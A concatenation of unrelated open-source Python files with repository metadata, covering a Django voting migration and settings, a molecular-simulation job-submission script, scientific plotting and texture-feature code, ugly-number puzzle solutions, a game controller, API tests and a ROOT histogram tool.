refs/heads/master
2023-01-18T17:19:54.122537
2020-11-20T07:59:49
2020-11-20T07:59:49
298,579,193
1
1
null
null
null
null
UTF-8
Python
false
false
951
py
# Generated by Django 3.1.2 on 2020-11-07 15:14 from django.conf import settings from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('posts', '0008_auto_20201107_2019'), ] operations = [ migrations.RemoveField( model_name='post', name='downvote', ), migrations.RemoveField( model_name='post', name='upvote', ), migrations.AddField( model_name='post', name='downvotes', field=models.ManyToManyField(blank=True, related_name='downvotes', to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='post', name='upvotes', field=models.ManyToManyField(blank=True, related_name='upvotes', to=settings.AUTH_USER_MODEL), ), ]
[ "shoumikgandre@gmail.com" ]
shoumikgandre@gmail.com
a73838ad362df6dfd8b2df0d0f6ba7496d2341ba
f3b233e5053e28fa95c549017bd75a30456eb50c
/p38a_input/L2I/2I-2G_wat_20Abox/set_1ns_equi_m.py
1e43cc8c3673d70daa9f40858cbc9de076ab36bb
[]
no_license
AnguseZhang/Input_TI
ddf2ed40ff1c0aa24eea3275b83d4d405b50b820
50ada0833890be9e261c967d00948f998313cb60
refs/heads/master
2021-05-25T15:02:38.858785
2020-02-18T16:57:04
2020-02-18T16:57:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
923
py
import os dir = '/mnt/scratch/songlin3/run/p38a/L2I/wat_20Abox/ti_one-step/2I_2G/' filesdir = dir + 'files/' temp_equiin = filesdir + 'temp_equi_m.in' temp_pbs = filesdir + 'temp_1ns_equi_m.pbs' lambd = [ 0.00922, 0.04794, 0.11505, 0.20634, 0.31608, 0.43738, 0.56262, 0.68392, 0.79366, 0.88495, 0.95206, 0.99078] for j in lambd: os.system("rm -r %6.5f" %(j)) os.system("mkdir %6.5f" %(j)) os.chdir("%6.5f" %(j)) os.system("rm *") workdir = dir + "%6.5f" %(j) + '/' #equiin eqin = workdir + "%6.5f_equi_m.in" %(j) os.system("cp %s %s" %(temp_equiin, eqin)) os.system("sed -i 's/XXX/%6.5f/g' %s" %(j, eqin)) #PBS pbs = workdir + "%6.5f_1ns_equi.pbs" %(j) os.system("cp %s %s" %(temp_pbs, pbs)) os.system("sed -i 's/XXX/%6.5f/g' %s" %(j, pbs)) #top os.system("cp ../2I-2G_merged.prmtop .") os.system("cp ../0.5_equi_0_3.rst .") #submit pbs os.system("qsub %s" %(pbs)) os.chdir(dir)
[ "songlin3@msu.edu" ]
songlin3@msu.edu
3bdc76473f870b3b0aa63589fca205e6569e2e3d
450448e0ddb786fd13cfe9f6df5aa47573769fdc
/tripleaxisproject/gui/linedemo2.py
0809d1b861a925677ef6d34dd3465aacecfa40a8
[]
no_license
williamratcliff/tripleaxisproject
70bbd9ab5f7f1d2f30ced18b0887e51a1e3551e8
8649730ccc03e7d172ad41db776e2df9b463f3d6
refs/heads/master
2021-01-19T20:18:25.875294
2018-09-12T20:43:46
2018-09-12T20:43:46
32,125,247
2
0
null
null
null
null
UTF-8
Python
false
false
6,418
py
import numpy as N import pylab import scipy.sandbox.delaunay as D #import numpy.core.ma as ma import matplotlib.numerix.ma as ma from matplotlib.ticker import NullFormatter, MultipleLocator from scipy.signal.signaltools import convolve2d import scriptutil as SU import re import readicp from matplotlib.ticker import FormatStrFormatter from matplotlib.ticker import MaxNLocator import linegen import locator def plot_nodes(tri): for nodes in tri.triangle_nodes: D.fill(x[nodes],y[nodes],'b') pylab.show() def plot_data(xa,ya,za,fig,nfig,colorflag=False): cmap = pylab.cm.jet cmap.set_bad('w', 1.0) myfilter=N.array([[0.1,0.2,0.1],[0.2,0.8,0.2],[0.1,0.2,0.1]],'d') /2.0 zout=convolve2d(za,myfilter,mode='same') zima = ma.masked_where(N.isnan(zout),zout) ax=fig.add_subplot(1,1,nfig) pc=ax.pcolormesh(xa,ya,zima,shading='interp',cmap=cmap) # working good! # pc=ax.imshow(zima,interpolation='bilinear',cmap=cmap) pc.set_clim(0.0,660.0) if colorflag: g=pylab.colorbar(pc,ticks=N.arange(0,675,100)) print g #g.ticks=None #gax.yaxis.set_major_locator(MultipleLocator(40)) #g.ticks(N.array([0,20,40,60,80])) return ax,g def prep_data(filename): # Data=pylab.load(r'c:\resolution_stuff\1p4K.iexy') Data=pylab.load(filename) xt=Data[:,2] yt=Data[:,3] zorigt=Data[:,0] x=xt[:,zorigt>0.0] y=yt[:,zorigt>0.0] z=zorigt[:,zorigt>0.0] # zorig=ma.array(zorigt) print 'reached' threshold=0.0; # print zorigt < threshold # print N.isnan(zorigt) # z = ma.masked_where(zorigt < threshold , zorigt) print 'where masked ', z.shape #should be commented out--just for testing ## x = pylab.randn(Nu)/aspect ## y = pylab.randn(Nu) ## z = pylab.rand(Nu) ## print x.shape ## print y.shape # Grid xi, yi = N.mgrid[-5:5:100j,-5:5:100j] xi,yi=N.mgrid[x.min():x.max():.05,y.min():y.max():.05] # triangulate data tri = D.Triangulation(x,y) print 'before interpolator' # interpolate data interp = tri.nn_interpolator(z) print 'interpolator reached' zi = interp(xi,yi) # or, all in one line # zi = Triangulation(x,y).nn_interpolator(z)(xi,yi) # return x,y,z return xi,yi,zi def prep_data2(xt,yt,zorigt): # Data=pylab.load(r'c:\resolution_stuff\1p4K.iexy') #Data=pylab.load(filename) #xt=Data[:,2] #yt=Data[:,3] #zorigt=Data[:,0] x=xt[:,zorigt>0.0] y=yt[:,zorigt>0.0] z=zorigt[:,zorigt>0.0] # zorig=ma.array(zorigt) print 'reached' threshold=0.0; # print zorigt < threshold # print N.isnan(zorigt) # z = ma.masked_where(zorigt < threshold , zorigt) print 'where masked ', z.shape #should be commented out--just for testing ## x = pylab.randn(Nu)/aspect ## y = pylab.randn(Nu) ## z = pylab.rand(Nu) ## print x.shape ## print y.shape # Grid xi, yi = N.mgrid[-5:5:100j,-5:5:100j] xi,yi=N.mgrid[x.min():x.max():.001,y.min():y.max():.001] # triangulate data tri = D.Triangulation(x,y) print 'before interpolator' # interpolate data interp = tri.nn_interpolator(z) print 'interpolator reached' zi = interp(xi,yi) # or, all in one line # zi = Triangulation(x,y).nn_interpolator(z)(xi,yi) # return x,y,z return xi,yi,zi def readmeshfiles(mydirectory,myfilebase,myend): myfilebaseglob=myfilebase+'*.'+myend print myfilebaseglob flist = SU.ffind(mydirectory, shellglobs=(myfilebaseglob,)) #SU.printr(flist) mydatareader=readicp.datareader() Qx=N.array([]) Qy=N.array([]) Qz=N.array([]) Counts=N.array([]) for currfile in flist: print currfile mydata=mydatareader.readbuffer(currfile) Qx=N.concatenate((Qx,N.array(mydata.data['Qx']))) Qy=N.concatenate((Qy,N.array(mydata.data['Qy']))) Qz=N.concatenate((Qz,N.array(mydata.data['Qz']))) Counts=N.concatenate((Counts,N.array(mydata.data['Counts']))) xa,ya,za=prep_data2(Qx,Qy,Counts); return xa,ya,za def readmeshfiles_direct(mydirectory,myfilebase,myend): myfilebaseglob=myfilebase+'*.'+myend print myfilebaseglob flist = SU.ffind(mydirectory, shellglobs=(myfilebaseglob,)) #SU.printr(flist) mydatareader=readicp.datareader() Qx=N.array([]) Qy=N.array([]) Qz=N.array([]) Counts=N.array([]) for currfile in flist: print currfile mydata=mydatareader.readbuffer(currfile) Qx=N.concatenate((Qx,N.array(mydata.data['Qx']))) Qy=N.concatenate((Qy,N.array(mydata.data['Qy']))) Qz=N.concatenate((Qz,N.array(mydata.data['Qz']))) Counts=N.concatenate((Counts,N.array(mydata.data['Counts']))) #xa,ya,za=prep_data2(Qx,Qy,Counts); return Qx,Qy,Counts if __name__ == '__main__': Nu = 10000 aspect = 1.0 mydirectory=r'c:\bifeo3xtal\dec7_2007' myfilebase='cmesh' myend='bt9' xd,yd,zd=readmeshfiles(mydirectory,'dmesh',myend) #0 if 1: fig=pylab.figure(figsize=(8,8)) ylim=(.485,.515) xlim=(.485,.515) xlabel='(1 1 0)' ylabel='(1 -1 -2)' if 1: ax,g=plot_data(xd,yd,zd,fig,1,colorflag=True) ax.set_ylabel(ylabel) ax.set_xlabel(xlabel) ax.set_ylim(ylim); ax.set_xlim(xlim) if 1: point1=(.514,.494) point2=(.492,.51) xt,yt,zorigt=readmeshfiles(mydirectory,'dmesh',myend) #0 myline=linegen.line_interp(point1,point2,divisions=50) xout,yout,zout=myline.interp(xt,yt,zorigt) line_x=myline.line_x; line_y=myline.line_y pylab.plot(line_x,line_y,'red',linewidth=3.0) ax.set_ylim(ylim); ax.set_xlim(xlim) if 0: xt,yt,zorigt=readmeshfiles(mydirectory,'dmesh',myend) #0 xout,yout,zout=myline.interp(xt,yt,zorigt) if 1: print 'gca ', fig.gca() for im in fig.gca().get_images(): print im im.set_clim(0.0,660.0) #pylab.show() if 1: fig2=pylab.figure(figsize=(8,8)) pylab.plot(xout,zout,'s') #pylab.plot(xi,zi,'red',linewidth=3.0) #ax.set_ylim(ylim); ax.set_xlim(xlim) pylab.show() if 0: print 'saving' pylab.savefig(r'c:\sqltest\demo.pdf',dpi=150) print 'saved'
[ "william.ratcliff@e28a235e-f944-0410-a937-4d0c1e564b32" ]
william.ratcliff@e28a235e-f944-0410-a937-4d0c1e564b32
9f4d154a9495308fb461f2b73ecb205d9c46ad3f
1b9075ffea7d4b846d42981b41be44238c371202
/2008/stable/applications/util/boxes/actions.py
e301e1015b50bb091a10f3b1c2124d488e51b409
[]
no_license
pars-linux/contrib
bf630d4be77f4e484b8c6c8b0698a5b34b3371f4
908210110796ef9461a1f9b080b6171fa022e56a
refs/heads/master
2020-05-26T20:35:58.697670
2011-07-11T11:16:38
2011-07-11T11:16:38
82,484,996
0
0
null
null
null
null
UTF-8
Python
false
false
429
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt from pisi.actionsapi import autotools from pisi.actionsapi import pisitools def build(): autotools.make() def install(): pisitools.dobin("src/boxes") pisitools.insinto("/etc", "boxes-config", "boxes.conf") pisitools.doman("doc/boxes.1")
[ "MeW@a748b760-f2fe-475f-8849-a8a11d7a3cd2" ]
MeW@a748b760-f2fe-475f-8849-a8a11d7a3cd2
5a1c0a821c8b0cc7645bb835b8dfca67d0336984
52c3ef5ae2c86cbde6c46c7c8d225ddf165d0632
/LBP/LBPFeatures.py
6ea1ff584be3fb4112dc7a7a65e274c11af7a2a3
[ "MIT" ]
permissive
joshlyman/TextureAnalysis
7ae028584af6466cd96e207060a916611511d300
bfbedbd53f62396fdef383408089b37e5ab511d0
refs/heads/master
2020-09-03T04:07:16.372160
2019-11-03T23:51:20
2019-11-03T23:51:20
219,382,186
3
1
null
null
null
null
UTF-8
Python
false
false
293
py
import numpy from skimage.feature import local_binary_pattern def calcFeatures(img, nPoints, radius, method, nBins): lbp = local_binary_pattern(img, nPoints, radius, method) rawFeatures = numpy.histogram(lbp.ravel(), bins = nBins, range = (0, nBins), normed = True) return rawFeatures[0]
[ "yanzhexu@asu.edu" ]
yanzhexu@asu.edu
aa7f9bc5eae2e24c5566b4db520c1ddef3c6cac5
dd8a4180d6b7fb80442703671a6aee38e20f3082
/刷题/剑指offer/丑数.py
32052fac32afd97a5ffa0a58b6cff3efe8e46d31
[]
no_license
xiaokongkong/some-tricks-about-python
57ffc8f36adc09a9299efebfa21abac6b347e032
63b1ad2e15f8eb1d4ba35e1dc220a02774441d41
refs/heads/master
2020-04-26T17:03:48.142452
2019-07-25T01:36:57
2019-07-25T01:36:57
173,700,595
0
0
null
null
null
null
UTF-8
Python
false
false
1,188
py
# 要求:只含有2、3、5因子的数是丑数,求第1500个丑数 # 思路: 按顺序保存已知的丑数,下一个是已知丑数中某三个数乘以2,3,5中的最小值 class Solution(object): def nthUglyNumber(self, n): ugly = [1] t2 = t3 = t5 = 0 while len(ugly) < n: while ugly[t2] * 2 <= ugly[-1]: t2 += 1 print('1') while ugly[t3] * 3 <= ugly[-1]: t3 += 1 print('2') while ugly[t5] * 5 <= ugly[-1]: t5 += 1 print('3') ugly.append(min(ugly[t2] * 2, ugly[t3] * 3, ugly[t5] * 5)) # return ugly[-1] return ugly def GetUglyNumber_Solution(self, index): if index < 1: return 0 res = [1] t2, t3, t5 = 0, 0, 0 while len(res) < index: minNum = min(res[t2], res[t3], res[t5]) if minNum > res[-1]: res.append(minNum) if res[-1] == res[t2] * 2: t2 += 1 elif res[-1] == res[t3] * 3: t3 += 1 else: t5 += 1 return res[-1] x = Solution() y = x.nthUglyNumber(10) print(y)
[ "huxuedan@iie.ac.cn" ]
huxuedan@iie.ac.cn
281139e5f93d055419625798553bcabc61ec69c8
3b504a983f1807ae7c5af51078bfab8c187fc82d
/client/LifetimeController.py
07254c86301eccc05758dc625a375436ea113d34
[]
no_license
SEA-group/wowp_scripts
7d35fd213db95ea6b3dbd1ec6d3e0f13de86ba58
2fe54a44df34f2dcaa6860a23b835dcd8dd21402
refs/heads/master
2021-09-07T23:10:13.706605
2018-03-02T17:23:48
2018-03-02T17:23:48
117,280,141
0
0
null
null
null
null
UTF-8
Python
false
false
1,691
py
# Embedded file name: scripts/client/LifetimeController.py import GameEnvironment from AvatarControllerBase import AvatarControllerBase import BigWorld class LifetimeController(AvatarControllerBase): def __init__(self, owner): super(LifetimeController, self).__init__(owner) self._playerAvatar.eEnterWorldEvent += self._onEnterWorld self._playerCallback = None return def _onEnterWorld(self): self._playerCallback = BigWorld.callback(0.5, self._checkLoadingTime) def _checkLoadingTime(self): arena = GameEnvironment.getClientArena() if arena is None: return else: vehiclesLoadStatusInfo = arena.vehiclesLoadStatus() vehiclesLoadStatus = 1.0 if vehiclesLoadStatusInfo[1] > 0: vehiclesLoadStatus = float(vehiclesLoadStatusInfo[0]) / vehiclesLoadStatusInfo[1] spaceLoadStatus = BigWorld.spaceLoadStatus() loadLevel = int(50 * (spaceLoadStatus + vehiclesLoadStatus)) if loadLevel >= 100.0: self._playerAvatar.onArenaLoaded() self._playerCallback = None else: GameEnvironment.g_instance.eLoadingProgress(loadLevel) self._playerCallback = BigWorld.callback(0.5, self._checkLoadingTime) return def destroy(self): if self._playerCallback is not None: BigWorld.cancelCallback(self._playerCallback) super(LifetimeController, self).destroy() return @property def _playerAvatar(self): """ :return: client.PlayerAvatar.PlayerAvatar """ return self._owner
[ "55k@outlook.com" ]
55k@outlook.com
fe8da6d90287137df4eb0800ea74553b963cdd72
3740659f09476c398d61acd7515079eeecf2e601
/user/tests/test_http.py
5238892213383e63482f2c36174e9816278cce09
[]
no_license
soguazu/django-api-starter
04f9edda815c6da04c46f23ab9f238ba0190cae9
ced03a4568190ab7fedc0cbe9692e76de2c0e1db
refs/heads/master
2022-11-11T05:46:57.291124
2020-06-26T13:34:45
2020-06-26T13:34:45
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,597
py
from django.contrib.auth import get_user_model from rest_framework import status from rest_framework.reverse import reverse from rest_framework.test import APITestCase PASSWORD = 'pAssw0rd!' def create_user(email='user@example.com', password=PASSWORD, **kwargs): return get_user_model().objects.create_user(email, password, **kwargs) class AuthenticationTest(APITestCase): def test_user_can_sign_up(self): """User can sign up""" response = self.client.post(reverse('user:signup'), data={ 'email': 'user@example.com', 'firstname': 'Test', 'lastname': 'User', 'password': PASSWORD, }) user = get_user_model().objects.last() self.assertEqual(status.HTTP_201_CREATED, response.status_code) self.assertEqual(response.data['id'], str(user.id)) self.assertEqual(response.data['lastname'], user.lastname) self.assertEqual(response.data['firstname'], user.firstname) def test_user_can_log_in(self): user = create_user() response = self.client.post(reverse('user:signin'), data={ 'username': user.email, 'password': PASSWORD}) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual(response.data['email'], user.email) def test_user_can_log_out(self): user = create_user() self.client.login(username=user.email, password=PASSWORD) response = self.client.post(reverse('user:signout')) self.assertEqual(status.HTTP_204_NO_CONTENT, response.status_code)
[ "danielale9291@gmail.com" ]
danielale9291@gmail.com
da9bacdb7b3158f7ce3087bec785059619bbb1cc
4dd2845936941bd727d6d950a2d1fe3875a15d59
/runtests.py
b03d9952a863e5e8d809d293323e35edbd8b7173
[ "BSD-2-Clause-Views" ]
permissive
alexforks/django-allowedsites
10e6cc4b08c7180e8aada0376ff18e45a26a9709
bd33483683fd6ab5bb39683a6e02b677a0faecce
refs/heads/master
2023-03-29T09:33:25.902383
2021-04-03T15:49:51
2021-04-03T15:49:51
353,994,613
0
0
NOASSERTION
2021-04-03T15:01:06
2021-04-02T11:09:00
Python
UTF-8
Python
false
false
1,075
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys from django.conf import settings import django def get_settings(): import test_settings setting_attrs = {} for attr in dir(test_settings): if attr.isupper(): setting_attrs[attr] = getattr(test_settings, attr) return setting_attrs def runtests(): if not settings.configured: settings.configure(**get_settings()) # Compatibility with Django 1.7's stricter initialization if hasattr(django, 'setup'): django.setup() parent = os.path.dirname(os.path.abspath(__file__)) sys.path.insert(0, parent) from django.test.runner import DiscoverRunner as Runner # reminder to self: an ImportError in the tests may either turn up # or may cause this thing to barf with this crap: # AttributeError: 'module' object has no attribute 'tests' test_args = ['.'] failures = Runner( verbosity=2, interactive=True, failfast=False).run_tests(test_args) sys.exit(failures) if __name__ == '__main__': runtests()
[ "keryn@kerynknight.com" ]
keryn@kerynknight.com
72de59ef9fef1fd802811b611890aea3ffb768b5
6cd4d9e8d6100cc8f0a8b2ce02cf308acb83fb93
/NTuplesToHists/YourMacrosAreBadAndYouShouldFeelBad.py
522ea6f01c5fdb5435f17f4f75fea2e8bb515fce
[]
no_license
mattleblanc/TakeOverTheWorld
09224dd21c4c8ce9b46857c8a41bfd315f187655
503cda16122043940d18aae147c9aa9b62378411
refs/heads/master
2021-01-22T08:09:43.695283
2016-04-03T17:34:54
2016-04-03T17:34:54
56,230,568
0
0
null
2016-04-14T11:05:52
2016-04-14T11:05:52
null
UTF-8
Python
false
false
3,108
py
import json import ROOT import os from rootpy.io import root_open from rootpy.plotting import Hist, Hist2D, Hist3D from rootpy.plotting import set_style from rootpy.tree import Tree, TreeChain import argparse parser = argparse.ArgumentParser(description='Author: G. Stark') parser.add_argument('files', type=str, nargs='+', metavar='<file.root>', help='ROOT files containing the jigsaw information. Histograms will be drawn and saved in the file.') parser.add_argument('--config', required=True, type=str, dest='config', metavar='<file.json>', help='json file containing configurations for making histograms') parser.add_argument('--out_tdirectory', required=False, type=str, dest='outdir', metavar='', help='TDirectory to store all generated histograms', default='all') parser.add_argument('--treename', required=False, type=str, dest='treename', metavar='', help='Tree containing the ntuple information', default='oTree') parser.add_argument('--eventWeight', required=False, type=str, dest='eventWeightBranch', metavar='', help='Event Weight Branch name', default='weight') # parse the arguments, throw errors if missing any args = parser.parse_args() config = json.load(file(args.config)) for f in args.files: print "opening {0}".format(f) out_file = root_open(f, "UPDATE") # create tdirectory and cd into it print "\tmaking tdirectory {0}".format(args.outdir) tree = out_file.get(args.treename) # for each thing to draw, we want to apply a selection on them too for cut in config['cuts']: innerDir = os.path.join(args.outdir, cut['name']) try: out_file.rmdir(innerDir) except: pass try: out_file.rm(innerDir) except: pass try: out_file.mkdir(innerDir, recurse=True) except: pass try: out_file.cd(innerDir) except: pass # get list of things to draw for toDraw in config['draw']: histName = toDraw['name'] histDimension = len(toDraw['draw'].split(':')) print "\tmaking {4}D histogram {0}\n\t{1} bins from {2} to {3}".format(toDraw['name'], toDraw['nbins'], toDraw['min'], toDraw['max'], histDimension) if histDimension == 1: h = Hist(toDraw['nbins'], toDraw['min'], toDraw['max'], name=histName) elif histDimension == 2: h = Hist2D(toDraw['nbins'][0], toDraw['min'][0], toDraw['max'][0], toDraw['nbins'][1], toDraw['min'][1], toDraw['max'][1], name=histName) elif histDimension == 3: h = Hist2D(toDraw['nbins'][0], toDraw['min'][0], toDraw['max'][0], toDraw['nbins'][1], toDraw['min'][1], toDraw['max'][1], toDraw['nbins'][2], toDraw['min'][2], toDraw['max'][2], name=histName) else: raise ValueError('I dunno how to handle {0}'.format(toDraw)) # things look ok, so we draw to the histogram print "\t\tdrawing {0}\n\t\twith cut ({1})*({2})".format(toDraw['draw'], args.eventWeightBranch, cut['name']) tree.Draw(toDraw['draw'], '({0:s})*({1:s})'.format(args.eventWeightBranch, cut['cut']), hist=h) # write to file print "\t\twriting to file" h.write() out_file.close()
[ "kratsg@gmail.com" ]
kratsg@gmail.com
959547da6943eb1205b9f43f08c76e0f13e545f7
12854e1de4f41ec30db48ad5847a1e7a0b61a0e9
/201901SSAFY/02Django/190211 월간평가풀이, Django/14workshop_source/first_workshop/settings.py
a59eb0abf552a23a8f07b0be39e2754cd49ec7d5
[]
no_license
egyeasy/TIL
b3192184cb50f255cc5473468d34d65820b29849
8985b97d267edc70d21b4cc4a1e275c8c94ccafc
refs/heads/master
2023-01-08T12:09:40.993410
2019-07-25T10:05:42
2019-07-25T10:05:42
163,810,472
0
0
null
2023-01-04T17:34:02
2019-01-02T07:47:20
Jupyter Notebook
UTF-8
Python
false
false
3,175
py
""" Django settings for workshop14 project. Generated by 'django-admin startproject' using Django 2.1.5. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '!xqm_iwc1%ejwkl$zq)x*^*6*y=q3vqsufq1pn1e(f_m$*nfu#' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['workshop15-190211-egyeasy.c9users.io'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'pages.apps.PagesConfig' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'first_workshop.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'first_workshop.wsgi.application' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.1/howto/static-files/ STATIC_URL = '/static/'
[ "dz1120@gmail.com" ]
dz1120@gmail.com
066ce0c0b9289143ab17eb18b3e443b1d12d1a9f
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02889/s289576998.py
6bc6be80a4ae723b5c3967503484971bf4b0b3d2
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
711
py
n,m,l = map(int,input().split()) g = [[1<<30]*n for _ in range(n)] for _ in range(m): a,b,c = map(int,input().split()) g[a-1][b-1] = c g[b-1][a-1] = c for i in range(n): g[i][i] = 0 def bell(g,n): for k in range(n): for i in range(n-1): for j in range(i+1,n): if g[i][j] > g[i][k] + g[k][j]: g[i][j] = g[i][k] + g[k][j] g[j][i] = g[i][j] return g g = bell(g,n) for i in range(n): for j in range(n): if i == j: g[i][j] = 0 elif g[i][j] <= l: g[i][j] = 1 else: g[i][j] = 1<<30 g = bell(g,n) q = int(input()) for _ in range(q): s,t = map(int,input().split()) if g[s-1][t-1]>>30: print(-1) else: print(g[s-1][t-1]-1)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
863976cffa3215b748389ba234369b05b9f0744e
7b74696ff2ab729396cba6c203984fce5cd0ff83
/analysis/migrations/0037_auto_20200607_0718.py
dddc4b555fc3bd70f1b908f9416c415ba8af42b5
[ "MIT" ]
permissive
webclinic017/investtrack
e9e9a7a8caeecaceebcd79111c32b334c4e1c1d0
4aa204b608e99dfec3dd575e72b64a6002def3be
refs/heads/master
2023-06-18T12:57:32.417414
2021-07-10T14:26:53
2021-07-10T14:26:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,112
py
# Generated by Django 3.0.2 on 2020-06-06 23:18 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('analysis', '0036_auto_20200607_0708'), ] operations = [ migrations.AlterField( model_name='stockstrategytestlog', name='event_type', field=models.CharField(choices=[('UPD_DOWNLOAD', '更新下载历史交易'), ('DOWNLOAD', '下载历史交易'), ('PERIOD_UPD', '更新高低点涨幅'), ('PERIOD_TEST', '标记高低点涨幅'), ('EXP_PCT_TEST', '标记预期涨幅'), ('EXP_PCT_UPD', '更新预期涨幅'), ('MARK_CP', '标记临界点'), ('UPD_CP', '更新临界点')], max_length=50, verbose_name='日志类型'), ), migrations.AlterField( model_name='tradestrategystat', name='applied_period', field=models.CharField(blank=True, choices=[('60', '60分钟'), ('30', '30分钟'), ('mm', '月线'), ('dd', '日线'), ('wk', '周线'), ('15', '15分钟')], default='60', max_length=2, null=True, verbose_name='应用周期'), ), ]
[ "jie.han@outlook.com" ]
jie.han@outlook.com
8cbbde7d34292bb5bf0c07f8ab017014d576d25b
9f2fff8239e0026f99d8477d1b477cac23ce62f7
/multiscale_affinities_python/ms_affinities_dense.py
f0cd8937c42cc20b6e92ae2a0b1d24ce28613fce
[]
no_license
constantinpape/affinities
c4cf571c963abb931619a8243b5187cdb6677457
3889fd97af8c9f620af37e8701f10a28048a8963
refs/heads/master
2020-03-12T01:48:16.727673
2018-06-24T13:52:20
2018-06-24T13:52:20
130,384,714
0
0
null
null
null
null
UTF-8
Python
false
false
3,199
py
import numpy as np import nifty.tools as nt def compute_histograms(blocking, labels): histograms = [] n_blocks = blocking.numberOfBlocks for block_id in range(n_blocks): if block_id % (n_blocks // 100) == 0: print(block_id, '/', n_blocks) block = blocking.getBlock(block_id) roi = tuple(slice(begin, end) for begin, end in zip(block.begin, block.end)) values, counts = np.unique(labels[roi], return_counts=True) histograms.append((values, counts)) return histograms def ms_single_scale_dense(labels, block_shape): shape = labels.shape blocking = nt.blocking(roiBegin=[0, 0, 0], roiEnd=list(shape), blockShape=list(block_shape)) # 1.) compute histograms from all blocks print("Computing histograms") histograms = compute_histograms(blocking, labels) # 2.) compute the new affinities print("Computing new affnities") new_shape = (3,) + tuple(blocking.blocksPerAxis) affs_out = np.zeros(new_shape, dtype='float32') # this can be trivially parallelised, but dunno how much this affords n_blocks = blocking.numberOfBlocks for block_id in range(n_blocks): if block_id % (n_blocks // 100) == 0: print(block_id, '/', n_blocks) block_values, block_counts = histograms[block_id] new_coordinate = tuple(blocking.blockGridPosition(block_id)) # TODO only need this for normalization, which is currently broken # block = blocking.getBlock(block_id) # roi = tuple(slice(begin, end) for begin, end in zip(block.begin, block.end)) # TODO it's easy to include long range here # we just need a way of going from block-axis positions to coordinates # iterate over the neighbors for axis in range(3): neighbor_id = blocking.getNeighborId(block_id, axis, True) if neighbor_id == -1: continue # TODO only need this for normalization, which is currently broken # neighbor_block = blocking.getBlock(neighbor_id) # nroi = tuple(slice(begin, end) # for begin, end in zip(neighbor_block.begin, neighbor_block.end)) neighbor_values, neighbor_counts = histograms[neighbor_id] # get the normalization # FIXME something with this seems to be off # nshape = np.array(block.shape) # normalization = np.prod(block_shape) * np.prod(nshape) # pretty sure this could be vectorised better mask1 = np.in1d(block_values, neighbor_values) mask2 = np.in1d(neighbor_values, block_values) # FIXME normalization affinity = np.sum(block_counts[mask1] * neighbor_counts[mask2]) # / normalization aff_coordinate = (axis,) + new_coordinate affs_out[aff_coordinate] = affinity affs_out /= affs_out.max() return affs_out # TODO support long ranges def ms_dense_implementation(labels, block_shapes): # TODO validate block-shapes out = [ms_single_scale_dense(labels, bs) for bs in block_shapes] return out
[ "constantin.pape@iwr.uni-heidelberg.de" ]
constantin.pape@iwr.uni-heidelberg.de
278ab43f839d0d3a461037b55ec5edf6aaf166c9
972be801215790ba193804d2eca0fee95f67ca34
/codechef/medium/solved/COINS.py
f476dd099c2ed26df111b3da1722a4bfd9af0f33
[]
no_license
rikithreddy/codeinpy
6f4a998e707a83349a19ed4e014eebcafbe4f6d0
4ec9668dd15d9ab501e7fd43946474638ac64cd0
refs/heads/master
2021-06-29T22:41:25.249869
2020-10-01T11:18:56
2020-10-01T11:18:56
164,993,422
0
0
null
null
null
null
